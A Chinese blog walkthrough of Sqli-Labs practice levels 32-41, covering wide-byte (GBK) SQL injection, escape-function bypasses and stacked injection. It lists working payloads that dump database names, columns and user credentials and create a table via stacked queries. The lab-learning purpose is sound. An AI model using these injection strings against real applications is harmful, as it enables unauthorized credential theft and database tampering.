• Sqli-Labs 闯关 less 32-41


    Less 32 

    这一关涉及到了一个新的知识点——宽字节注入。

    GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

    具体可参考链接:https://blog.csdn.net/helloc0de/article/details/76180190

    URL编码的解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

    爆库:?id=-1%E6' union select 1,version(),database() --+

     'user'用十六进制编码替代,

    爆列: ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

     爆用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

    Less 33

    这一关是使用函数过滤。而上一关用的是自定义过滤。

    跟上一关用一样的代码就好

    Less 34

    这一关绕过添加斜杠,用的也是前两个post的方法。

    获取数据库版本和名:uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit

    获取用户名密码:uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

     

     爆列名的时候要注意'users'的转义。。。和前面两关一样

    Less 35

    这一关测试的时候发现,id没有数据包裹,直接注入就好。

    爆库:?id=-1 union select 1,version(),database()--+

     爆表:id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

     爆列:?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#(注意user的转义)

     爆用户名密码:?id=-1  union select 1,2,group_concat(username,0x7e,password) from users--+

    Less 36

    这关与前面的区别就是使用的转义函数不一样,也可以使用前面的宽字节注入解决或者utf-16 。

    (宽字节)获得用户名密码:?id=0%df'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

     (utf-16)获得用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

    Less 37

    这一关和34关类似,都是post的形式。。

    爆库名:uname=admin%df%27 or 1=2 union select 1,database()#&passwd=1&submit=Submit

     爆用户名密码:uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

    Less 38

    这一关用到了堆叠注入,

    从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。

    而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。

    union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    具体可以自行百度一哈。。。

    我们可以用联合查询爆出数据:

     但是这一关是要我们堆叠注入。。。

    新建表:  ?id=1';create table qiyuan like users;%23

    查表:?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

     

     我们发现我们新建的表就可以查到了。。

    Less 39

    跟38关一样。就是没有单引号的闭合。。不再陈述

    Less 40

    跟38关一样。加了个括号。

    我在这把这几关命令放这了:

    爆库:  union select 1,version(),database() %23

    爆表:  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

    爆列:   union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

    爆用户名密码: union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

    Less 41

    跟39关一样,错误不回显。

  • 相关阅读:
    EasyFlash 的初始化配置
    不能靠眼睛之 KEIL 中失效代码灰暗特性
    C 头文件、宏、编译问题
    C++ 中 const、volatile、mutable的用法
    【转】C++ const 关键字总结
    你想要的成都全攻略,好耍不重样——成都胖娃呕心巨作
    【转】RO段、RW段和ZI段 --Image$$??$$Limit 含义(zz)
    深有体会内存对系统性能的重要性
    毕业论文编写笔记
    (二)基于商品属性的相似商品推荐算法——Flink SQL实时计算实现商品的隐式评分
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12292766.html
Copyright © 2020-2023  润新知